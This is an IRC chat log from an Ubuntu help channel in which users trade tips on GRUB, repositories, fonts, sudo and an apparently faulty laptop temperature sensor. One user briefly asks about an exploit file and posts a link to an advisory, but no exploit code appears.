[11:23] <Wolfv> hi, I have a question.  could someone please send me Xscrabble for Ubuntu? I donwloaded the prog, but it was configured for Suse and simply doesn't run properly.
[11:23] <linuxcrazy> go pm!
[11:23] <ploom> still -  has anyone noticed that when making a file or folder named with less or equal than 8.3 characters, it will appeat twice into nautilus (once for short name - uppercase; once for long name - in lowercase)??
[11:23] <fluxt> pvd2006: yeah if there is an updated one
[11:23] <thompa> h36sa: and you got 38c
[11:24] <h36sa> no that's a different laptop
[11:24] <ploom> ...and all that on vfat filesystem.
[11:24] <ralph_> Hi, anybody here using Ubuntu on a powerbook?
[11:24] <thompa> oh
[11:24] <linuxcrazy> haha
[11:24] <linuxcrazy> they are a rare breed
[11:24] <fluxt> !anyone
[11:24] <ubotu> probably 90% of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? <hint>
[11:24] <h36sa> I just got a i8600 with a p-m 760
[11:24] <Jhair> ploom: uh?
[11:24] <thompa> h36sa: i think there is an error with acpi
[11:24] <Jhair> ploom: in breezy?
[11:24] <h36sa> what kernel are you running
[11:24] <holycow> whats the ubuntu dev chan again? ubuntu-dev is empty
[11:24] <Jhair> ploom: I haven't seen such thing
[11:24] <thompa> h36sa: im on dapper
[11:25] <linuxcrazy> wht was 5.10 named "breezy badger"?
[11:25] <linuxcrazy> y*
[11:25] <thompa> h36sa: im going to try a live cd of linux, see if same happens
[11:25] <Wolfv> any help on Xscrabble, or am I saying something utterly stupid :-) ?
[11:25] <thompa> h36sa: thanks
[11:25] <linuxcrazy> what is Xsrcabble?
[11:25] <holycow> bah
[11:25] <Wolfv> a scrabble playing program
[11:25] <linuxcrazy> c*
[11:26] <holycow> okay so about the ubuntu dev chan, anyone?
[11:26] <linuxcrazy> how did you install it?
[11:26] <h36sa> thompa: good idea. but iy looks like mine is running at 46*C at idle
[11:26] <Wolfv> I haven't managed to get it to run at all
[11:26] <h36sa> that's pretty warm
[11:26] <nickrud> holycow: -devel I think
[11:26] <Wolfv> it was already preconfigured for suse, I think
[11:26] <jort> ok next question :D, i installed et (enemy territory) on my machine (the linux version), install was good no errors. Execute the file to open the game gave a couple of seconds a black screen but no error or anything (the program wouldnt start)
[11:26] <fluxt> linuxcrazy: its because of the local farting badger that hangs around one of the craziers devs
[11:26] <h36sa> although that laptop is in my room which is warmer than where the other one is :P
[11:26] <holycow> danke nickrud, 'preciate that
[11:27] <linuxcrazy> WolfV: so your using a sysaptic pkg manager?
[11:27] <thompa> h36sa: desktop was just flipping out
[11:27] <linuxcrazy> n*
[11:27] <Wolfv> yes, linuxcrazy
[11:27] <ralph_> i am trying to get my hsf partition which contains my user data from OS X (dualboot OSX and Ubuntu) to mount. It does mount, but in the directory there appear only files, not the directories I expect. I am using this entry in the fstab: /dev/hda12      /mnt/OSXHome    hfs     default         0       0
[11:27] <linuxcrazy> Your useing Ubuntu?
[11:27] <h36sa> uhoh
[11:27] <htrp> what's the command line to take a screenshot?
[11:27] <thompa> h36sa: i think ill run it at 98c and stand back
[11:27] <Wolfv> yes, Breezy Badger
[11:27] <linuxcrazy> press print screen
[11:27] <htrp> i said command line
[11:27] <h36sa> man you might f your laptop up if you do that
[11:27] <h36sa> 98* is way too hot
[11:27] <thompa> h36sa: if it doesnt blow after an hour i know sensor is wrong
[11:28] <h36sa> haha that's a horrible solution :P but probably true
[11:28] <linuxcrazy> press it anyway! lol
[11:28] <fluxt> htrp: i  use scrot.. sudo apt-get install scrot .. man scrot
[11:28] <thompa> h36sa: its still under warrenty
[11:28] <linuxcrazy> gasp!
[11:28] <h36sa> oh, that makes a big difference :)
[11:28] <linuxcrazy> RMA, RMA!
[11:28] <belkin> _jason http://pastebin.com/606350 should i wait more ?
[11:28] <NickGarvey> ralph_: thats odd, what what kind of files does it show?
[11:28] <thompa> h36sa: ill tell them it was a windows update
[11:29] <linuxcrazy> lol
[11:30] <linuxcrazy> UPDATE!!!! Read this everybody! http://www.ubuntu.com/usn/usn-262-1
[11:30] <ploom> Jhair, on two different breezy systems, only when making a fld  through nautilus (into a vfat fs)
[11:31] <linuxcrazy> http://www.ubuntu.com/usn/usn-262-1
[11:31] <linuxcrazy> test
[11:31] <fluxt> linuxcrazy: the fix has already been added to universe
[11:31] <chuckyp> linuxboy, people know
[11:31] <kingspawn> linuxcrazy: it has been known for quite a while
[11:31] <linuxcrazy> oh
[11:31] <lesshaste> belkin: did you fix it?
[11:31] <NickGarvey> mm thats dapper only right?
[11:31] <chuckyp> linuxcrazy, yes people already know
[11:32] <linuxcrazy> ok
[11:32] <chuckyp> NickGarvey, breezy only
[11:32] <whiter> how can i clear bash history
[11:32] <NickGarvey> oh
[11:32] <whiter> ?
[11:32] <thompa> im preparing to go to 100C!
[11:32] <NickGarvey> well I'm brezzy
[11:32] <NickGarvey> breezy*
[11:32] <linuxcrazy> woot!
[11:32] <NickGarvey> might want to do that..
[11:32] <thompa> stand by!
[11:32] <nrymiguel> thanx ppl for Skype
[11:32] <belkin> lesshaste have a look here please http://pastebin.com/606350
[11:32] <rkv> damn is there a way to get automatix work on amd64?
[11:32] <nrymiguel> I did it
[11:32] <fluxt> linuxcrazy: if you're still using gnome you would have been notified of the update already
[11:32] <linuxcrazy> 100c here we come!@
[11:32] <mshiltonj> automatix is bad?
[11:32] <nrymiguel> exit
[11:32] <rkv> why?
[11:32] <whiter> what update?
[11:32] <meheren> can someone tell me how to change my default boot in the grub boot manager?
[11:32] <NickGarvey> meheren: its pretty simple
[11:32] <thompa> im just installing celestia, that app takes 100% cpu easy
[11:33] <NickGarvey> meheren: there is a line that says default and a numbe
[11:33] <rkv> so in amd64 u have to install all apps one by one?
[11:33] <meheren> yeh i no about all that...
[11:33] <lesshaste> belkin: ok.. looks ok to me
[11:33] <NickGarvey> meheren: change the number, but note computers count startnig from 0
[11:33] <meheren> but where is the file i have to modify?
[11:33] <lesshaste> belkin: does it still not work?
[11:33] <NickGarvey> /boot/grub/menu.conf
[11:33] <rkv> help someone?
[11:33] <ftg2> meheren: edit /boot/grub/menu.lst ... change the line 'default 0' to something more appropriate. entries start counting at 0, etc
[11:33] <whiter> how can i clear bash's history?
[11:33] <meheren> NIckgarvey k thx
[11:33] <NickGarvey> no prob
[11:34] <lesshaste> whiter: history -c
[11:34] <rkv> .... damn
[11:34] <NickGarvey> rkv: mm I never got my laptop which uses amd64 working with linux
[11:34] <rkv> oh k
[11:34] <NickGarvey> but the hardware is very new and odd, I'm not the only one with problems
[11:34] <meheren> NickGarvey, just one thing... ive forgotten does it count the little thing that says "other os" as a number...?
[11:34] <NickGarvey> so I don't know if its the processor
[11:35] <rkv> well my amd64 laptop is workin on ubuntu
[11:35] <ftg2> meheren: it does
[11:35] <NickGarvey> meheren: yes it does
[11:35] <rkv> *desktop
[11:35] <belkin> lesshaste well there is no image while im doing that
[11:35] <thompa> starting at 58c
[11:35] <h36sa> thompa: I'm load-testing my centrino running a very current version of gentoo and it's getting WAY hotter than it should
[11:35] <techrush> hi thompa :)
[11:35] <thompa> really
[11:35] <thompa> hi
[11:35] <meheren> k
[11:35] <ploom> Jhair, can't you try it?
[11:35] <asylumius> Is there something I can change in my apache conf if it wont recognize .php files (tries to download them). The only exception is when its the index.php file.
[11:35] <meheren> NickGarvey, k that's what i thought... thx
[11:35] <h36sa> my p4 only got up to 63.. I shut my centrino down at 76
[11:35] <rkv> is there any other like compilation of software package that is like click and install to my amd64 ?
[11:35] <thompa> techrush: im about to blow up my comuputer
[11:36] <techrush> its still running hot huh ?
[11:36] <_jason> belkin: are your speakers on?  you didn't hear anything?
[11:36] <h36sa> the centrino isn't really configured yet, just got it.. but still, I'd say something is probably wrong in the kernel or acpi code right now
[11:36] <ploom> thompa, can you touch by hand (or finger) - is it really so hot??
[11:36] <thompa> 70c
[11:36] <h36sa> what are pentium-m's rated for?
[11:36] <thompa> 73c
[11:36] <lesshaste> belkin: oh :)
[11:37] <lesshaste> belkin: try cvs :)
[11:37] <thompa> 76c
[11:37] <rkv> i have a creative sound card how do i get it to work?
[11:37] <ploom> thompa,  otherwise its just crap...
[11:37] <belkin> _jason nothing . no image no sound
[11:37] <thompa> do i need to stand back?
[11:37] <_jason> belkin: never mind I see errors for that too, umm try asking in #mplayer about what is going on
[11:37] <thompa> 81c
[11:37] <thompa> 83c
[11:37] <belkin> _jason hmm ok thanks a lot for your time
[11:37] <meheren> what's the command for text editor?
[11:37] <techrush> its gonna melt soon :(
[11:37] <belkin> lesshaste thanks
[11:38] <thompa> 85c
[11:38] <_jason> meheren: nano is one
[11:38] <thompa> its getting hot
[11:38] <meheren> k thx
[11:38] <techrush> meheren, nano
[11:38] <lesshaste> belkin: good luck!
[11:38] <meheren> _jason, techrush, k thx
[11:38] <thompa> 88c
[11:38] <h36sa> hmm.. feeling my laptop I'd say it actually IS running that hot
[11:38] <fluxt> thompa: have you confirmed that is the actual temp in the bios?
[11:39] <thompa> no bios temp
[11:39] <h36sa> thompa: what's acpi -V say
[11:39] <CaptainMorgan> how do I install fonts for Linux's firefox that appear in Win's firefox?
[11:39] <thompa> 90C and rising
[11:39] <thompa> 91C
[11:39] <chuckyp> !tell CaptainMorgan about fonts
[11:39] <fluxt> !fonts
[11:39] <ubotu> fonts is, like, https://wiki.ubuntu.com/FontInstallHowto
[11:39] <_jason> !msttcorefonts
[11:39] <ubotu> [msttcorefonts]  sudo apt-get install msttcorefonts - you'll need multiverse enabled in your /etc/apt/sources.list first
[11:40] <thompa> i dont even have nvidia driver running
[11:40] <thompa> 92C
[11:40] <linuxcrazy> can someone give me instructions on how to install libdvdcss?
[11:40] <_jason> !dvd
[11:40] <ubotu> DVD playing is possible in ubuntu. You may need libdvdcss2, which is available via http://wiki.ubuntu.com/SeveasPackages (section extras)
[11:41] <h36sa> thompa: go feel it.. is it really that hot?
[11:41] <thompa> no its actually getting cooler
[11:41] <linuxcrazy> seems as though you can't install it through synaptic....
[11:41] <h36sa> o...k
[11:41] <thompa> 93C
[11:41] <_jason> linuxcrazy: see what ubotu said above
[11:41] <sEbaKiLLeR> hi
[11:41] <ploom> thompa, why dont you try by hand? Usually systems get halted like by 80 deg C afaik
[11:41] <fluxt> how do you get the acpi program to report temps.. acpt -V reports: No support for device type: therma
[11:42] <sEbaKiLLeR> can someone help me with this file
[11:42] <fluxt> acpi*
[11:42] <thompa> 94C, what should i check
[11:42] <sEbaKiLLeR> i cant recognise the language
[11:42] <asylumius> !find apache2
[11:42] <h36sa> ploom: nah intels can handle the heat
[11:42] <_jason> sEbaKiLLeR: what are you trying to do?
[11:42] <sEbaKiLLeR> its an exploit
[11:42] <thompa> 95C and rising
[11:42] <h36sa> fluxt: maybe you need to run acpid
[11:42] <sEbaKiLLeR> but i cant recognise the language
[11:43] <sEbaKiLLeR> it seems to be for c++
[11:43] <_jason> sEbaKiLLeR: this isn't really the right place to ask about exploits
[11:43] <thompa> ploom: how do i check by hand?
[11:43] <CaptainMorgan> I don't have the msttcorefonts package and my mulit and universe repos are selected...
[11:43] <fluxt> h36sa: it's running
[11:43] <ploom> touch it
[11:43] <ploom> thompa, take the case open and touch it
[11:43] <_jason> CaptainMorgan: can you place the contents of /etc/apt/sources.list on http://paste.ubuntu-nl.org/  please
[11:43] <thompa> it feels same as at 55c
[11:43] <sEbaKiLLeR> is just about to compile
[11:43] <thompa> but i got 97C now
[11:44] <thompa> so acpi is screwed up
[11:44] <h36sa> ploom: it's a laptop
[11:44] <thompa> 99C, damn
[11:44] <h36sa> thompa: I wouldn't be so sure.. my laptop got a lot warmer
[11:44] <ploom> h36sa, then he can feel it by balls even
[11:44] <CaptainMorgan> _jason, http://paste.ubuntu-nl.org/10361
[11:44] <thompa> it got a little warmer
[11:45] <thompa> if i run bzflag it will heat up
[11:45] <meheren> so... a intel pentium 4 should be running a 686 kernel right...?
[11:45] <fluxt> thompa: it's been known that acpi temps get reported differently and need adjustment on some chipsets (coming from using windows)
[11:45] <h36sa> ok but that's from the video card
[11:45] <_jason> CaptainMorgan: you only have multiverse enabled for backports.  Would you like to use synaptic or manually edit the file to correct this?
[11:45] <thompa> i can touch the bottom of it no problem
[11:45] <h36sa> and the thing hsould heat up a little under load so that is fine too
[11:45] <CaptainMorgan> manuall edit
[11:45] <h36sa> as long as it's not really running at 100*C you're cool
[11:45] <CaptainMorgan> what do I add?
[11:45] <thompa> its at 97C, seems to have settled down there
[11:46] <linuxcrazy> wait, can i just add a repositorie in linux for the website?
[11:46] <thompa> well it would have broke by now
[11:46] <_jason> CaptainMorgan: everywhere you see ``universe'' by itself on a line, change it to ``universe multiverse''
[11:46] <sEbaKiLLeR> http://security.lss.hr/PoC/LSS-2004-10-02.txt
[11:46] <thompa> the other thing, ig i unplug it , batter says it had 6 minutes left, which is incorrect
[11:47] <thompa> 101C lol
[11:47] <thompa> im not kidding thats what it says
[11:47] <ploom> thompa, its not even funny
[11:47] <_jason> thompa: stand back
[11:47] <CaptainMorgan> cool... got it _jason, would it be overkill to add every font package found in Syn?
[11:47] <CaptainMorgan> probabaly he?
[11:47] <CaptainMorgan> eh?
[11:47] <ploom> thompa, either the acpi gets the values wrong or there is something very wrong...
[11:48] <bjornkri> what's the file where you list the repositories again? I forget... :P
[11:48] <thompa> ploom: is it dangerous?
[11:48] <thompa> to me that is
[11:48] <frank23> thompa: I don't think your computer would be running if that were true
[11:48] <meheren> thompa, jeese u do have a bad promblem it should not be running at that heat...
[11:48] <thompa> 99C
[11:48] <meheren> frank23, ya good point...
[11:48] <sEbaKiLLeR> http://security.lss.hr/PoC/LSS-2004-10-02.txt
[11:48] <thompa> do they usually melt or what/
[11:48] <ploom> thompa, in case it could really have been reached over 70, it would be quite bad
[11:49] <_jason> CaptainMorgan: well I have over 1500 fonts in my ~/.fonts, so I am going to say no :)
[11:49] <NickGarvey> nothing like a good apt-get upgrade && apt-get dist-upgrade on a new system
[11:49] <NickGarvey> mm
[11:49] <meheren> _jason, =-O
[11:49] <ploom> thompa, unless you've really been overclocking it...
[11:49] <thompa> im still at 99c and still alive
[11:49] <CaptainMorgan> _jason,  lol
[11:49] <thompa> its a new notebook, except motherboard was replaced
[11:50] <sEbaKiLLeR> anyone can tellme if is any software wich says the language
[11:50] <meheren> thompa, reboot... give it time to cool off then try again...
[11:50] <kbrooks> it's the old "it's the new's new"...
[11:50] <kbrooks> :P
[11:50] <thompa> i shut down celestia and temp drops right to 80c
[11:50] <thompa> now its 78c
[11:50] <ploom> thompa, i guess its just a wrong number there
[11:50] <omeg> Hi everybody. I've got an lzh file that I want to extract, but it seems that file-roller can't do it for some reason (given, it was originally a .1 file, but it's supposed to be a renamed lzh file).
[11:50] <thompa> the bootm feels just as hot
[11:51] <ploom> thompa, usually it just wont work - it just cant work that way
[11:51] <fluxt> thompa: what's the model of your laptop?
[11:51] <omeg> (I'm trying to install the Quake shareware, which requires that you decompress its resources file, stored in lzh compression as resources.1.)
[11:51] <thompa> ploom: could it be my bios is messed up
[11:51] <omeg> Anyway, any tips? Maybe a terminal command?
[11:51] <fiveiron> i am consistently getting errors in the Package lists from a few sources when i do "sudo apt-get update"  is anyone else having this problem?
[11:51] <thompa> when they replaced the mobo, the restore disks are no longer recognized
[11:52] <thompa> fluxt: sony vaio vgn fs-660/w
[11:52] <ploom> thompa, I don't know - just divide the amount by some number - by a factor of 2 maybe - then it would make like 50 degrees :-)
[11:52] <thompa> 64c now
[11:52] <IdleOne> fiveiron>  you using us or ca country code in your sources?
[11:52] <Neth> when i installed ubuntu it made my user but it never made a root user. its preventing me from using the su command i beleive and i cant ge tinto folders like opt. how do i make a root user thing. details preffered
[11:52] <meheren> is it true that i should put a 686 kernel on a dell inspirion 8600 pentium 4 ?
[11:52] <_jason> ubotu: tell Neth about sudoroot
[11:52] <meheren> neth, type sudo su
[11:52] <EdLin> Neth, use sudo
[11:52] <ploom> thompa, and remember - you can always divide it by zero - then the real fun will start for you :-)
[11:52] <meheren> neth, then enter ur pass then type:
[11:52] <EdLin> Neth, or sudo -s to get a root prompt
[11:53] <meheren> neth, passwd
[11:53] <_jason> Neth: read what the bot sent you and use 'sudo -i' instead of 'sudo su' please
[11:53] <thompa> heh
[11:53] <_jason> meheren: please don't recommend that
[11:53] <meheren> neth, then type the root pass u want
[11:53] <meheren> _jason, sry... ? y?
[11:53] <thompa> down to 59C now
[11:53] <Neth> very helpful today
[11:53] <bjornkri> What's the name of the file that lists the repositories?
[11:53] <_jason> ubotu: tell meheren about sudo
[11:53] <meheren> thompa, that is very good...
[11:53] <fiveiron> i'm getting an error from lex when I try to install Cedega from CVS... anyone done this successfully?
[11:53] <thompa> all i did was close celestia
[11:54] <EdLin> bjornkri, /etc/apt/sources.list
[11:54] <meheren> _jason, yes yes i no but y not have a root pass?
[11:54] <_jason> meheren: because there is a reason the devs chose to lock the root account, mostly for security
[11:54] <bjornkri> thanks EdLin
[11:54] <meheren> ok...
[11:54] <EdLin> np
[11:54] <thompa> i wonder if it could be incorrect bios version, does acpi rely on bios?
[11:54] <h36sa> haha I just figured out my problem. the ubuntu devs added some hack to p4-clockmod that disables running under 2ghz. pretty weak
[11:54] <Neth> meheren: thank you very much
[11:54] <_jason> meheren: and apparently it borks the gui admin tools, although it never happened to me
[11:54] <meheren> _jason, me nether...
[11:54] <fluxt> thompa: no
[11:55] <meheren> neth, u should still probally use sudo
[11:55] <meheren> neth, ull find it is esier
[11:55] <thompa> fluxt: both the mobo and hard drive were replaced
[11:55] <Neth> meheren: Error while moving items to "/opt". You do not have permissions to write to this folder.
[11:55] <haha> hey when i try to acces the computers on my network it says i need a password.. but i frgt it so how do i get a new one?
[11:55] <meheren> Neth, did u do this?
[11:55] <meheren> sudo su
[11:55] <meheren> passwd
[11:56] <Neth> i tried moving my java crap by drag and drop
[11:56] <Neth> meheren yes
[11:56] <Tom39Away> Is there a bash command that outputs something similar to "ls -l" but includes the path of the file instead of just the name?
[11:56] <meheren> but as _jason says maybe u don't want to do that...
[11:56] <haha> u guys wanna help me please
[11:56] <meheren> hmm
[11:56] <IdleOne> haha whats the problem?
[11:56] <_jason> Neth: you don't need to enable the root account, you can do everything with sudo
[11:56] <haha> i need a password to access my network
[11:57] <Neth> _jason i'm dragging and dropping...no sudo command for that
[11:57] <haha> but i dont know it
[11:57] <dragon> hi
[11:57] <thompa> fluxt: do you have any idea what i can do?
[11:57] <meheren> Neth, _jason is correct there is no need for use of the root account...
[11:57] <thompa> maybe some other way to check temp.
[11:57] <ploom> Tom39Away, man ls could mabe help you
[11:57] <chuckyp> haha, leave it blank if you don't need one
[11:57] <IdleOne> haha>  we need more info then that..what are you trying to do eactly?
[11:57] <meheren> Neht, hmm try this
[11:57] <_jason> Neth: use the terminal or if you really need drap and drop you can run 'gksudo nautilus' but it is a bad idea imo to have root drap and drop
[11:57] <Neth> meheren: but what is the command to move files/folders in terminal?
[11:57] <haha> access the other computers on my network
[11:57] <chuckyp> thompa, what are you trying to do?
[11:57] <dragon> jest ktos z polski?
[11:57] <meheren> neth, not sure!...
[11:58] <chuckyp> Neth, mv
[11:58] <fluxt> thompa: the only thing i can think of is if you have windows try 'motherboard monitor 5' and see what that reports
[11:58] <_jason> Neth: mv file destination
[11:58] <Neth> chuckyp: ty
[11:58] <meheren> ( i use sudo su nautilus...)
[11:58] <chuckyp> Neth, mv=move cp=copy
[11:58] <IdleOne> !tell haha about samba
[11:58] <meheren> then u get root acces to ur files through gui...
[11:58] <_jason> meheren: gui apps you should use gksudo
[11:58] <fluxt> thompa: otherwise you could be thinking the people who replaced your motherboard did a botch job on the cpu fan
[11:58] <meheren> gksudo..?
[11:58] <meheren> never heard of it
[11:58] <_jason> meheren: nod
[11:58] <chuckyp> _jason, it thought gksudo wasn't used anymore.
[11:58] <chuckyp> !gksudo
[11:58] <ubotu> Use gksudo to run gtk applications with root privileges. Using sudo to start gtk apps can scramble your user account permissions.
[11:58] <thompa> fluxt: thanks
[11:59] <chuckyp> maybe not
[11:59] <meheren> ok...
[11:59] <meheren> brb
[11:59] <meheren> (i still have to reboot)...
[11:59] <bjornkri> someone should make a program administative program called 'ku'. Just so we can write 'sudo ku'.
[11:59] <_jason> bjornkri: ha
[11:59] <Tom39Away> ploom, thanks, tried that, no luck.
[12:00] <ralph_> how do I mount an mac os x extended fs (hfs) on a powerbook. Mounting with -t hfs gave me just 3 files, not any directory...